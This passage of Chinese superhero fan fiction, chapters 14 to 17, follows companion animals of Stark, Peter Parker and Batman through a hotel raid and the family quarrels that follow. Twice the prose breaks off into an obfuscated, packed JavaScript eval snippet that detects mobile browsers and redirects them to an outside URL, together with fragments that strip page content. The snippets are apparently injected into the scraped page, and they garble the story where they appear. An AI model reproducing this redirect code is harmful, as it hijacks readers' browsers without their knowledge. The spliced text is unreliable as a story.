在陆续加入复仇者联盟的各路超级英雄之中，蜘蛛侠确实是最后一位，直到彼得18岁过完生日那天，斯塔克才将他从备选名单中提出来，让蜘蛛侠正式成为一名复仇者。 “我不想扫兴，但那不值得庆祝。” 斯塔克始终是这个态度。 在自己努力保护世界和平之后，转头发现还要送18岁的年轻人来做同样危险的工作。 换成任何人都会感到郁闷的。 因为锈斑猫沉迷学习，有时候斯塔克会在蜘蛛侠出去忙碌，而他又正好被AI拎着后衣领强制去睡觉的时候抱着塔塔助眠。 每到这种时候塔塔就能听到斯塔克嘀嘀咕咕一些琐碎的事情。 这样的，或者那样的。 沉积在斯塔克的内心深处，因为已经蒙了灰尘，连他自己都无法辨认全貌的各种伤疤。 塔塔一边将蜘蛛侠、钢铁侠、美国队长、巴基、鹰眼、黑寡妇的资料挨个抽出来，打卷，然后塞到布莱克嘴里让它帮忙叼着，一边胡乱猜想。 蜘蛛侠也算是一道疤么？ 因为蜘蛛侠的存在证明了斯塔克没能让彼得·帕克成为普通人，平淡幸福的渡过余生？ 英名永存的代价总是一生坎坷破碎不得善终。 而人类总是在传唱的故事也是如此。 不幸而坚强的主角，带着惨烈的过去努力前行，前路却注定是数不尽的艰难险阻。 为什么英雄注定不断遭受磨难？ “嘤嘤。”塔塔昂头对着布莱克叫唤：说不定我们就是为此而生的哦。 布莱克没理解，歪头看着小水獭。 塔塔继续嘤嘤叫唤：我们是为了打破英雄就要反复遭遇不幸的诅咒而诞生的哦。 是吗？ 布莱克不知道。 但如果是这样的话，其实也不错。 布莱克想起自己的孵化者，冷哼出声。 没有边界感的控制狂，整天惹猫烦，相比之下那些小鸟倒是可爱多了，性格好，而且懂得尊重动物。 还有老管家。 阿福是个很好的人。 如果是为了铲除他们的不幸，那布莱克也乐意费点力气。 14.第十四章 文件箱内抽出来的资料有好多好多。 塔塔目瞪口呆的发现，往下居然还有蜘蛛侠的资料，还有些U盘啊什么的，也不知道里面的内容是否包含了蜘蛛侠的信息…… 这复杂的情况让塔塔不知所措。 主要是爪子抓不下了。 苦恼的水獭抱着脑袋开始冥思苦想。 可惜没有灵光一闪，塔塔在周围找了一圈也没找到其他可以提供绑住的东西，只能将刚才翻出来的资料全部塞回文件箱内。 因为它发现文件箱上是有可以提起的把手的，而以布莱克的嘴巴大小，完全可以直接叼起那个箱子就走，唯一的问题是底部破了，一提东西就会掉。 塔塔继续在柜子上翻找，还真被它在桌子的抽屉里找到一卷胶带。 水獭开始缝缝补补。 布莱克则回到了门口，准备等要走的时候再来取文件箱。 时间来到十六分。 塔塔和文件箱的斗争以水獭的胜利告终。 而锈斑猫也成功拿下了这座酒店的中控系统。 时间不再紧迫，监控和控制系统都属于它们了，三只小动物放松下来，它们舔毛舔爪，自我表演或者安抚刚才有些紧绷的神经，然后再次投入工作中。 “喵——”锈斑猫发出召唤：布莱克你来看看哪个是目标？ 布莱克探头去看。 屏幕里只有一张照片，锈斑猫教布莱克用肉垫轻触键盘切换下一张，结果布莱克一爪子下去，屏幕一顿乱闪，不知道切到哪里去了。 锈斑猫：！！！ 猫猫爪忙爪乱的抢救。 “喵。”算了，我来按吧，你爪子太大了。 于是布莱克“呜”一声，锈斑猫按一下切换键，五分钟过去了，布莱克终于发出一声轻微的“喵”，这代表了肯定的答复。 锈斑猫立刻切出去，转而搜索起这人所住的房间位置。 顶楼十八层，总统套房。 布莱克：…… 锈斑猫：…… MD。 他怎么可以直接住顶楼。 这搞得它们花这么大力气查他房间具体位置的行为特别愚蠢。 两只小动物内心骂骂咧咧。 水獭则不在此列。 塔塔根本没意识到这个问题，努力拖着文件箱来到布莱克脚边，将自己缠成胶带粽子的文件箱交给布莱克。 “嘤。”一定要带回去，交给小叽居。 锈斑猫探头：“喵？”为什么不给托尼呢？ 塔塔对了对爪爪：“嘤叽……”可是如果直接拿去给托尼的话，小叽居就看不到了，而且托尼还会要求我们对小叽居保密…… 塔塔不太喜欢对彼得保密。 那可是属于它的孵化者啊！ 小水獭委屈的对爪爪。 锈斑猫也能理解，就点了点头，反正塔塔也不是想瞒着托尼或者欺骗托尼，只是一个先后顺序的问题罢了。 如果这份资料传递到斯塔克手中后就无法继续向下传送，那么将斯塔克设置成终点，似乎也是合理的。 至少对小动物们来说没什么问题。 布莱克哼笑出声。 它知道那个人类肯定会对此意见很大，蝙蝠洞里大部分争吵发生的原因都是那么的莫名其妙，一些在布莱克看来完全没有问题的事情，落在人类眼中，那就是天塌了。 脆弱的人类。 无法理解人类的布莱克只能给他们一个这样的定义。 只是……不太准确。 如果他们真是脆弱的存在，就不该半夜出去和子弹硬碰硬。 我应该阻止他们。 布莱克思考着这个问题：它没有那么做。 “……” 黑色的大美洲豹拒绝承认这是自己在心底深处的潜意识层面，其实早已承认自己的孵化者是有些能耐的。 它就是只豹子，它可没有“潜意识”那么复杂的东西。 豹豹扭开了脑袋。 蹲坐在豹子正面的锈斑猫：……？ 什么情况？ 怎么突然傲娇了起来？ 锈斑猫不懂这黑豹子突然犯什么病，它发出叫声，催促塔塔做好准备，它们要往目标所在的房间移动了。 锈斑猫已经利用系统将那间屋子牢牢锁住，还拿到了安保人员的巡逻时间表。 只要小心一点，它们完全有可能神不知鬼不觉的摸过去。 当然，前提是，不带着布莱克。 “喵呜。”你太大只了，在这里待命吧。 布莱克瞳孔都缩了缩。 它从未想过，在这么一项由它发起的任务中，它自身成了第一个被剔除的参与者。 布莱克不同意，并且发出了抗议声。 大只又怎么了？ 不是已经控制整栋酒店了吗？将那些安保人员骗去不同的房间锁起来不就好了，至于那些巡逻的，那些人分成了数个小队，巡逻路线和时间各不相同，之间也不是全无空隙，它完全可以在巡逻的间隙里绕过去。 “喵嗷——”锈斑猫不同意，用爪子怼了怼塔塔找来的文件盒：可你还要拖着这个东西，虽然它的重量对你来说不算是负担，可它真的好吵啊。 也不知道里面都有什么东西，除了纸张还有硬壳子，摇晃起来里面碰碰直响。 布莱克张口叼住文件盒的把手部分，蹲坐在原地，四只爪子乖乖的拢在一起，耳朵被锈斑猫嗷嗷的背到后面去，脑袋看起来光秃秃的，从正面看过去，尾巴也看不见，它整只大猫就像是个“凸”字那样缩着。 还叼着个文件箱。 看起来就有种初次上班不知道做错了什么被上司骂了个狗血淋头却依然不知道自己做错了什么的无助感。 以上内容来自跟着斯塔克一起去上过班开过会的锈斑猫，并且猫猫被自己的无端联想给逗笑了。 眼前的小家伙突然吭出声音。 布莱克眯起眼睛。 两只猫谁都无法说服对方，最后还是塔塔出来打圆场，它和锈斑猫先行一步，可以通行了就用叫声召唤布莱克。 如果是遇到危险的情况它们会大叫。 嗷嗷嗷的那种。 布莱克：…… 行吧，勉强也能接受。 它们从地下往地上摸过去，到-2层的时候，锈斑猫就听到来自斯塔克的实时通话声。 “崽？” “喵~”锈斑猫发出轻松愉快的叫声。 听到自己家猫这是在外面正玩得开心，斯塔克终于松了口气。 “30秒。” 斯塔克给出一个极短的时间。 听上去像是他马上就会从天而降。 电梯继续上行，往18层的顶楼去，三只小动物蹲坐在电梯里，一起抬头看着数字慢吞吞的往上跳动。 而在酒店楼顶的露天阳台，钢铁侠已经成功降落。 黑面具名下的这个干部也是个精明的商人，名叫霍克 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15087593|162959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 他当然是认识斯塔克的，却也不明白为什么斯塔克会突然找上门来，还是以这种气势汹汹的架势。 本着伸手不打笑脸人的原则，霍克就想上来打招呼，没想到迎接他的会是来自钢铁机甲的掌心，那里可以射出强大的能量，如果斯塔克有心，靠着这个就能将面前的人变成一小捧随风飘扬的碳灰。 “斯塔克先生，这是不是有什么误会？” 霍克是黑面具的人，自然不是什么好人，可他们几乎只在哥谭搞事情，没道理会引来纽约的钢铁侠。 蝙蝠侠难道不管管吗？！ 蝙蝠侠当然不管，蝙蝠侠正在蝙蝠车里，往这边疾驰而来。 他是来加入其中的——不是说一起殴打黑面具的手下，那当然也要做，却不该有钢铁侠的参与，他们两人要一起完成的事情，仅限于“抓猫”这一件事。 “呃，可塔塔是水獭？”提姆在内线里小声的纠正，别忘了还有只水獭呢。 蝙蝠侠：…… “水獭是鼬科。”提姆善意的提醒。 就听内线里传来大哥迪克疑惑的询问：“鼬不是猫科？” 然后是老二杰森，也就是红头罩的追问：“居然不是犬科？” 杰森喜欢阅读，少年时就博览群书，可动物百科不在他的兴趣范围。 提姆用遗憾的口吻告诉他们：“不，鼬是单独的科。” 两人一起发出失望的动静。 迪克叹了口气，杰森则“啧”了声。 蝙蝠车在酒店门口急刹车，不等里面的人出来询问，发动座椅弹射的蝙蝠侠被直接送上高空，在最高点使用绳枪钉住墙体，绳枪快速收起，带着他向上疾驰，至顶点的瞬间蝙蝠侠松开绳枪牢牢抓在墙上凸起处的扣锁，让惯性带着他再往上飞了少许。 然后再次射出绳枪。 两次之后蝙蝠侠飞上18层的露天阳台，从空中而降，落在钢铁机甲旁边。 斯塔克忍住了回头去问他怎么飞上来的冲动，那太没形象了。 “蝙蝠侠！” 霍克看到蝙蝠侠顿时神经紧绷。 他今晚可没打算去做好事，现在蝙蝠侠突然刷在脸上，让霍克意识到自己的行动可能已经败露，立刻去掏口袋里的引爆器，抓在手上就作势要按，口中凶狠的威胁： “如果你敢妨碍我……” “砰——！” 钢铁机甲的掌心射出一团强劲的气流，□□直接将霍克掀翻，蝙蝠侠抓紧机会冲过去拿到了引爆器，然后一脚踩在霍克胸口。 金属战斗靴底加上可怕的力量，瞬间让霍克的肋骨喜提新裂痕一条。 “我能解决。” 蝙蝠侠看起来并不开心。 斯塔克却挺欢乐的，两人是从小就认识的关系，他很清楚这货现在是什么性格，还故意装模作样的嘀咕：“让我想想这时候该对你说些什么？是不是该说‘不用谢’？” 蝙蝠侠：…… 不难想象斯塔克的参考物大概是迪克，那孩子阳光一点，性格也活泼。 对着养子蝙蝠侠要绷着形象，对着斯塔克就没这个必要了。 蝙蝠侠：“那我就不谢了。” 斯塔克：…… 淦，这波亏了。 而且他好像听到蝙蝠侠哼笑了一声？ 虽然很微弱，但……真的不是他的错觉哎！ 斯塔克咳嗽一声，严肃的对霍克说：“最后一次警告，把我的猫还给我，现在。” 15.第十五章 “叮——” 电梯到达18层。 电梯门打开，露出里面三只已经摆好架势蓄势待发的小动物。 然而在它们面前的只有霍克倒在地板上仿佛死不瞑目，其实只是被震晕了的“尸体”。 与此同时，三只小动物不约而同的嗅到了属于斯塔克的气味，锈斑猫就冲了出去，精准的顺着气味找到了坐在沙发上的斯塔克。 然后是塔塔，两只小动物跳上斯塔克的膝盖去贴贴。 “说说你们都做了什么好事情，嗯？” 斯塔克倒是没有很生气，将锈斑猫撸了一遍，然后去揉塔塔，确定两个小家伙都没有事后就满足了。 蝙蝠侠还在低气压。 布莱克走到窗帘边上，在这里找到了融入阴影的蝙蝠侠。 蝙蝠侠低头，默默看着这只从自己被窝里钻出来的黑色美洲豹，以及它嘴里叼着的那个用胶带缠出来的不明球体。 就……蠢兮兮的。 “什么东西？”蝙蝠侠没有伸手，只是盯着它。 布莱克也没打算把东西给他，就找了个可以挡住自己的阴影往里面一蹲。 一大一小，一个窗帘一个盆栽，两只都把自己藏的刚刚好。 斯塔克撸完自己家的崽子回头就看到这一幕，有种又无语又好笑的感觉，指着那边对锈斑猫和塔塔说：“看，这就是反面教材。” 锈斑猫歪着头看着藏在阴影里的布莱克，然后又看了看蝙蝠侠。 匿藏算是猫的常规行为。 可为什么旁边那么大一只的人类也跟着藏了起来？ 猫猫不理解。 “嘤？”他在害羞嘛？ 塔塔也不理解，还扯着斯塔克的衣领在问。 斯塔克：“应该是吧。”乐。 蝙蝠侠：…… 接下来就是各回各家，斯塔克带着塔塔和锈斑猫回复仇者大厦，而蝙蝠侠将会留在这里，迪克和红头罩杰森两人紧急出动，过来收拾后续的各种问题。 在他们到之前，蝙蝠侠要负责镇住这里的场子。 分开前，塔塔趴在斯塔克肩膀上，对着布莱克挥动爪子，无声的表达自己的意思：那个东西就先放在你那边哦，过两天我就去取。 布莱克轻轻眨了一下眼睛，示意自己知道了。 见它会记得约定，塔塔这才放松下来。 “怎么？有自己的小秘密了？” 斯塔克感觉到水獭轻微的动作变化，也没有多问，只是轻轻的拍了拍它，当它开始哼哼唧唧的撒娇，说起晚上要吃小蛋糕，斯塔克也就顺势转开话题。 “不行，别想，不仅没有小蛋糕，晚上还有5公里。” “嘤？！”什么5公里？！ 塔塔从纽约跑到哥谭都不知道多少公里了哪里还要什么五公里？！ 水獭惊叫！！！ 斯塔克就乐：“别以为我猜不到，一路上你都赖在多纳滋的后背上吧，也就到了酒店那边你能自己下地跑两步，布莱克多半是不会让你骑的。” “嘤……”其实，其实骑了。 斯塔克：“它那个性格多半要随它的孵化者……啊？” 话到一半卡住了。 水獭不会撒谎，这点斯塔克非常肯定。 那…… 蝙蝠侠，哥谭的守护魔，那个布鲁斯·韦恩孵出来的伴生动物，居然允许一只水獭爬到身上骑着它到处乱跑？ 惊愣过后，斯塔克选择抱起塔塔猛亲一口。 “干得好，小宝贝！” 塔塔不懂，但是被夸了，塔塔开森！ 围观的锈斑猫趴在斯塔克的肩膀上蜷成一小只，打了个哈欠开始睡觉。 …… ………… 斯塔克的机甲飞出去没多久，暂时被病毒控制的系统恢复如初，下面的守卫也终于得以闯入顶楼的总统套房。 雨点般扫射而来的子弹中，蝙蝠侠提着他的披风，引着弹雨向前行。 布莱克所在的位置正好受到蝙蝠侠的遮挡，连丁点的火星子都漏不过来。 它就这么看着蝙蝠侠跟只巨型猫猫一样飞扑过去，拳打脚踢，一度幻视仿佛看到蝙蝠侠突然锁住一个敌人的喉咙，然后后脚上去疯狂蹬蹬。 布莱克闭上眼睛，让自己的脑子正常一点。 脑子，听着，什么都乱想只会害了你！ 然而脑子并不听劝。 猫的大脑思维本就活泼奔放，注意力跳跃难以长时间集中，更不要说它们的身体偶尔还会毫无预兆的做些名为条件反射的突发动作。 那些行为仿佛不受猫的控制，连猫自己都难以理解自己在做什么。 现在，布莱克的大脑想要去奇怪的幻想中自由狂奔，布莱克也没有办法阻止它。 难怪蝙蝠侠那么喜欢“控制”。 控制。 布莱克一边忍受着自己幻想的关于蝙蝠猫疯狂蹬蹬敌人的奇怪画面，一边用其余的脑子严肃思考关于控制的问题。 控制，真是一个很好的词汇。 布莱克尚未熟练掌握那项技能，只能试着找点别的东西来转移自己大脑的注意力。 叼着文件箱的布莱克从嗓子里发出含糊不清的声音，询问：“嗷？”其他纽约来的小动物都回去了？ “嗯。” “嗷呜？”鸟呢？ “闭嘴，我还在生气。” “……？？？” 布莱克张大了眼睛。 它无法理解人类在生什么气。 黑色美洲豹不再发出动静，就这么继续看着蝙蝠侠，那些拳头像是在发泄心中的怒火一般，砸在敌人身上，每一下都换来痛苦的惨叫。 很好，猫猫蹬蹬的画面消失了。 这是个好消息。 布莱克也跟着恢复面无表情的冷漠模样，蹲坐在阴影里，像是只无翼的石像鬼，黑暗里的恶魔，又或者一尊滴水兽的雕像。 收拾这波安保人员仅用了1分多钟，随后蝙蝠侠靠在门后，安静等待。 布莱克是不会吭声的，这点特别让蝙蝠侠放心。 等第二波安保人员进入，蝙蝠侠便从影子里杀出来，再次一拳一个的收拾他们。 固定刷怪点。 以及那个守着刷怪点的高级玩家。 布莱克脑子里开始冒从达米安那里听来的奇奇怪怪的词汇。 刷出来的小兵越来越多，大概十个“尸体”就足以堵住房间的入口，于是蝙蝠侠开始清理他们，将这些昏迷的人绑好然后丢去房间的角落。 大约15分钟后，刷怪停止了。 作为交换，迪克和杰森被刷了出来。 斯塔克是以找猫的名义进入这里，当然不会认下袭击霍克的罪名，这次袭击蝙蝠侠将会为 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布莱克明白了其中的重点。 “寿终正寝”。 想到它的孵化者，就算布莱克想要乐观的去估计，也很难说出“他能活到寿终正寝”这样的话。 想给蝙蝠侠的伴生动物冠上这么个名字，大概只是孩子对父亲美好的祝愿吧。 可惜，蝙蝠侠大概是不愿意配合的。 无论是有些绕口的名字，还是“寿终正寝”的这部分。 从大红口中得知化工厂那边一切顺利，在纽约来的小动物们的帮助下，它们轻松地洗劫、哦不，是占领…… 也不对。 嗯……攻陷。 对，它们攻陷了稻草人占领的化工厂。 其中大部分人只是被打晕了，骨裂或者多段骨折，可能有点脑震荡。 只有稻草人本尊比较倒霉。 他从天而降，出其不意网住了红隼哈瑞肯，试图用手去抓网中的小鸟时却受到了致命的攻击。 是黑寡妇。 那也是一只伴生动物，一直藏在哈瑞肯的羽毛里面，在有人碰到哈瑞肯的时候才会发动攻击。 不过它手下留情了，只放出非常微弱的毒液。 那些毒素足够让稻草人瘫痪很长一段时间，却不是致命的。 让他神经紊乱，平衡失调，每日陷在又痛又痒的混乱感官和天旋地转的眩晕之中。 捷克狼犬在幸灾乐祸：“汪。”让他做毒气祸害人，活该。 “叽啾。”华美极乐鸟唱到：活该！ 布莱克点了点头，表示了自己的赞同。 让他们搞出一堆的麻烦，闹得蝙蝠侠翘班抓坏人，孩子们天天晚上没时间睡觉，阿福担心得头发都快掉没了。 小红和提姆下了地下-3层，斯塔克留下的病毒残余让小红有些头疼，同时也激发了他一较高下的欲望，回蝙蝠洞的时候还特地拷贝了一份回去继续研究。 他们回去的时候，阿福就在门口迎接他们。 “很高兴见到诸位都平安无恙。” 阿福一如往常，就连布莱克叼着个被透明胶布缠成球的文件箱都不能让他的语调有所变化，哪怕是一丝一毫的偏差。 16.第十六章 纽约。 复仇者联盟。 钢铁机甲带着锈斑猫和塔塔降落，而其他小动物则是由娜塔莎和鹰眼巴顿开车去接，他们开了辆SUV，现在正从哥谭大桥往纽约方向返程。 家里的小笨手已经为每一只小动物准备好了食物和水。 还有软软的擦爪爪用的毯子。 锈斑猫和塔塔落地的第一时间就去毯子上将爪爪蹭干净，这才跑进房间里面喝水。 两只小家伙都渴坏了。 斯塔克也有点渴，接过小笨手递过来的水杯，喝了一口冰的缓缓。 这时候门开了。 塔塔有所感应似的抬起脑袋，果然看到穿着蜘蛛侠制服的彼得·帕克走了进来，他正扯掉自己的头套，带卷的头发被头套压了好几个小时，终于解放的瞬间立刻向四面八方弹了起来。 “砰”的一下，乱糟糟的新鲜鸟窝出炉。 锈斑猫立刻蹦了上去，熟练的一孵，然后开始舔爪子理毛。 塔塔则爬上斯塔克的大腿，在他怀里窝着，洗脸揉脑袋。 两只小家伙都熟练的很，彼得向斯塔克打了招呼，就要招呼塔塔一起回自己的宿舍，却见斯塔克给他打了个手势。 意思是暂时留下，斯塔克有话要说。 彼得不明所以，还是坐了下来。 塔塔：…… 锈斑猫：…… 不是吧？你要告状？？？ 本来已经在斯塔克腿上窝成一团球的塔塔顿时立了起来，不可置信的看着斯塔克。 “敢做就要敢认。” 斯塔克对塔塔露出“和善”的笑容。 “认什么？” 还不知道今天有多热闹的彼得一脑袋小问号，他晃了晃脑袋，询问头顶上的锈斑猫，可锈斑猫也不想谈，将脑袋埋在爪子下面，假装自己已经睡熟了。 彼得只能去看斯塔克和斯塔克怀里的塔塔。 “塔塔做了什么？” 作为一名超级负责任的饲主，彼得自认为需要为塔塔的行为负起责任，因此主动向斯塔克提出询问。 斯塔克张嘴要说，塔塔就急了，扑上去用爪子捂斯塔克的嘴。 斯塔克张大了眼睛，口中发出“呜呜”声。 他这个模样让塔塔十分的不解，于是松开了爪子，得到自由的斯塔克立刻向彼得告状：“看！塔塔攻击我。” 彼得：啊这…… 彼得知道这只是个玩笑，可塔塔不知道。 塔塔：？！！ 塔塔：“嘤——！”我不是我没有你不要乱说——！ 本来就在慌的小水獭顿时更慌了，捂也不是不捂也不是。 慌乱的塔塔转成了甜甜圈，几乎是在斯塔克腿上追起了自己的尾巴。 斯塔克大笑着给它一把按住。 彼得则从斯塔克怀里接过自己的水獭，一手揽着塔塔的胸口，另一手托住屁股，稳稳的抱在怀里。 “斯塔克先生，这到底是……发生了什么？” 斯塔克清了清嗓子，将今天发生的事情说了个清楚，从越狱开始，一直到塔塔和锈斑猫组团，再加上隔壁哥谭的黑色美洲豹，一起闯入酒店，不顾人家那边是枪林弹雨就这么孤军深入，打乱了蝙蝠家原本的作战计划不说，自己还冒着极大的生命危险。 “哇哦……” 彼得忍不住发出感叹声，将怀里的水獭翻起来看一眼，只觉得自己家塔塔酷毙了。 可他不能这么说。 “嗯……” 彼得最多只能持中立态度。 一个无意的抬头，彼得和斯塔克对上了视线。 “……” 彼得意识到自己刚才的想法不太对，他改了口：“这不对。” 太危险了。 没有详细的计划，没有备用方案，没有后援…… 彼得曾经也草率行事过，可他有蛛丝，有蜘蛛感应，有敏捷的足以飞天遁地的身手，超乎常人理解的强大力量，仅次于金刚狼的自愈能力，不怕毒素和部分魔法生物的影响…… 这些也不过是他诸多特殊能力中的一部分而已。 塔塔有什么？ 靠着会卖萌的眼睛去跟子弹一决高下？ 此时的彼得开始理解当初的斯塔克。 斯塔克看自己往外跑非常闹心，自己现在看塔塔往外跑也感到了一丝闹心。 “……” 人啊。 总是难免有那么一天，终会活成自己讨厌的样子。 彼得在内心悄悄地叹了口气。 这边彼得陷入微妙的Emo，那边客厅的大门自行打开，原来是巴顿和娜塔莎带着其他小动物们回来了。 哈瑞肯落在鸟架上理毛，多纳滋在史蒂夫的引导下来到客厅中间的地摊上一趴，帕夫从它的毛里面滚出来，大概是感觉到了气氛不对，又溜了回去。 OK。 越狱者终于到齐。 今晚的家庭会议才刚刚开始呢。 斯塔克和史蒂夫交换了视线，又陆续看过其他人，确定大家都是一样的心情，当其他复仇者挨个落座，无形之间将小动物们围在了中央。 斯塔克向史蒂夫点了下头，给出正式开始的信号。 史蒂夫面带公式化的笑意，清了清嗓子。 “让我们来谈谈……” …… ………… 哥谭。 蝙蝠洞。 蝙蝠侠还在生气。 已经扯了面具的蝙蝠侠站在洞内一楼，面对中央控制台，对着四个巨大的屏幕不知道在想些什么。 布莱克路过的时候看了一眼，确定屏幕上什么都没有。 黑漆漆的，只倒映出他的面容。 布莱克打了个哈欠：“哇呜？”你在面壁思过么？布鲁斯·韦恩。 蝙蝠侠摘掉头套后就是布鲁斯·韦恩。 在确认所有孵化者和伴生动物之间都没有语言障碍，彼此的沟通能力并非一对一，而世界上到底有多少孵化出了伴生动物，他们是敌是友？这个问题还没有答案。 为了防止小动物在公共场合叫破大家的秘密身份，蝙蝠家紧急训练了小动物们如何叫人。 戴面具的情况是一个，不戴是另一个。 对小动物们来说这其实挺抽象的，就好像穿这件衣服叫这个名字，穿那件衣服就要换个名字，那不穿衣服的情况是不是还要再换一个哦…… “我说过，只有在脱掉所有蝙蝠装备后我才是布鲁斯·韦恩。” “哇呜。”可迪克也会叫你布鲁斯，不管你穿不穿蝙蝠装备。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15095906|162959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 布鲁斯：…… 瞪了二楼逗鸟的迪克一眼。 迪克无辜的很，他一直都是那么叫的，私下就是布鲁斯，有外人或者环境不安全的时候才会叫B或者蝙蝠侠，从不觉得有什么问题。 可现在有孩子了嘛。 父母不都是这样的，没有孩子的时候随随便便，有孩子了什么规矩都要立起来了。 “我很抱歉，蝙蝠侠，以后我会注意的。”迪克一本正经的道歉。 布莱克对这个叛徒翻了个白眼。 蝙蝠侠则拍了两下手，把所有其他人都赶走。 唯一留下的只有布莱克。 “今天是怎么回事？”这时候，蝙蝠侠才开始谈今晚的主题，“你发的什么疯？” 怒火从未褪去。 只是将其隐藏起来。 巧的是，布莱克也是。 他们一个是人类一个是美洲豹，此时却额外的合拍，像是同时按下了关于进攻的开关，当周围清空，他们同时向对方展现出了攻击性。 “自己找死，还带着其他人？” 布鲁斯几乎要揪着布莱克的皮给它提起来质问。 布莱克当然不给他碰到，一扭身就灵活的躲开了那只手，还上爪子拍了回去，布鲁斯反应同样迅捷，也躲开了布莱克的爪子。 “哇呜——”像你那样磨磨蹭蹭的，让阿福担心，马上就要到周末了，难道新的一周你还是不能让他睡个好觉吗？ 布莱克背着耳朵，发出怒吼声。 布鲁斯并不受它的威胁，指着布莱克的鼻子：“你的私自行动才在让阿福担惊受怕，他整晚都在担心你会出事！” “嗷——”不要推卸你的责任——！！！ 布莱克的吼声越发震耳，带着滚滚呼噜声，那可不是猫咪舒服撒娇的动静，而是藏在喉腔深处的惊涛骇浪，像是愤怒的引擎，正在发出咆哮。 现在，只要稍微一个小小的契机出现，布莱克就会冲出去，给布鲁斯一个教训。 这时候阿福出现了。 在所有人和动物都自觉离开的情况下，只有老管家能淡定的走过来，走到布莱克和布鲁斯之间站定。 也许是因为阿福选择将后背留给布鲁斯，而面对了自己，布莱克的声音迅速小了下去，引擎熄火，可豹子还在生气。 它探头从老管家的身侧去瞪布鲁斯，结果发现布鲁斯居然也在瞪自己。 谁也无法说服谁。 伴生动物和它的孵化者闹了个不欢而散。 布莱克冷哼一声走开了。 而布鲁斯还在因为对方私自行动并且除掉监控设备的行为而感到愤怒，哪怕阿福在旁边暗示了，布鲁斯也没有退让的意思。 老管家只能叹气：“您是我知道的唯一一位和自己的伴生动物都处不好的孵化者呢，老爷。” 布鲁斯更正了他的说法：“不是唯一一位，还有个比我更离谱的家伙。” “我猜您说的是身处伦敦的那位……？” “对，就是他，夏洛克·福尔摩斯。” “但他是因为在起床的瞬间看到巨大的黑影，本能进行了自卫式的攻击，在对方给他一个热情贴贴的瞬间将对方抱摔下床……” 结果那是福尔摩斯孵化出来的小动物。 虽然没有那么“小”。 17.第十七章 按蝙蝠家族的资料库来看，没有那么“小”的伴生动物目前只有两只。 其中一只属于蝙蝠侠，是黑色的美洲豹布莱克，另一只刚好也是黑色，却远在伦敦，孵化者也不是超级英雄，反而是个有着反社会人格的古怪家伙。 而那只伴生小动物则被亲切地称为狼外婆。 狼。外。婆。 当大家聚在一起谈论这个话题，迪克提出了自己的好奇：“这是个比喻还是形容词？” 其他人集体耸肩。 考虑到关于对方的信息是从蝙蝠侠所参与建立的一个国际侦探组织传来的，这个组织的另一个建立者正好是对方的兄长。 狼外婆也有个正经名字：星期五。 据说是因为它是在星期五孵化出来的。 又是黑色。 考虑到小动物和福尔摩斯的适配度为负数，黑色星期五确实是个写实的好名字。 “要去看看么？”提姆提议，“正好下周我要去一趟伦敦。” 至今为止所有已知的伴生动物都是由超级英雄们孵化的，福尔摩斯家中冒出来的毛茸茸算是第一只被收录的非超英所出的伴生动物。 当然要去亲眼看看。 这很重要，将成为他们调查范围的一个作证。 蝙蝠侠迫切的需要更多线索来证明普通人以及超级反派是否也会孵化出伴生动物。 “彼得·帕克也去？” 提姆和纽约的蜘蛛侠完全同龄，过了这个假期就要去上大学了，两人就读的大学是同一所，因此也有了些额外的联系。 平时不是上学就是上班不然就是在家里睡觉或者夜巡的人突然多了社交活动。 蝙蝠侠将怀疑目标锁定在彼得身上也不奇怪。 “算是……学前活动吧。” 提姆简单介绍了一下两人怎么熟悉的，来满足蝙蝠侠这个控制狂的需求。 大概就是两人在同一个数学小组，是以国家为单位的那种，为了参加国际比赛而训练，提姆过去是为了接触某个调查任务的目标家庭，而彼得是被老师拜托了推拒不过这才参加了比赛。 一来二去的，两个年纪一样的天才就这么互相熟悉了起来。 合理。 但蝙蝠侠并不满意。 “确定不是你在知道彼得·帕克就是蜘蛛侠之后有意接近？” “不算吧？我知道他的爱好和习惯，那是你调查的，至于无意间迎合一下……知道都知道了，想交朋友的前提条件下，稍微迎合对方的爱好也是正常手段，在他了解我之后有时候也会迎合我的爱好。” 提姆觉得……没什么问题？ 一段时间的沉思后蝙蝠侠同意了提姆的提议。 等提姆离开后转头就给斯塔克打去通讯。 “下周是不是有个展览会正好在伦敦？” “啊……？”斯塔克没反应过来，这是他们俩打电话会聊的话题吗？“那个……嗯……我看看……” 好一顿翻找后斯塔克终于成功让AI崽崽从垃圾桶里找到自己的日程表。 “是有个科技展吧，斯塔克工业会派代表过去，我不去。” “你去。” “？” “我也去。” “？？？” “不是，这和韦恩集团有什么关系？？？” “韦恩也有科技项目。” 说着，蝙蝠侠拿起属于布鲁斯·韦恩的手机开始发信息，让公司的人去争取下周位于伦敦的科技展会的参展名额，并表示自己要去凑热闹。 公司里被迫加班的人们好一顿鸡飞狗跳，并在昂贵的料理、饮品以及5倍工资中得到了充分的安抚。 为什么韦恩家Boss天天破事不断，自己不干活、喜欢翘班还搞突然袭击，没事整出一堆事情来折腾人，可就算如此，大家却还是爱他？ 没办法，人家知道自己破事多，他给的更多啊！ 只要给的够，什么事情都好商量！ 作为一名给的足够多，比员工预期要的都更多的老板，布鲁斯无论提出的要求多么抽象，多么让人头秃，总有人想尽办法给他争取。 哪怕下周展会的名额在上个月就定下了，还是有个规模较小的科技公司主动退出，而这个名额刚好被韦恩争取到。 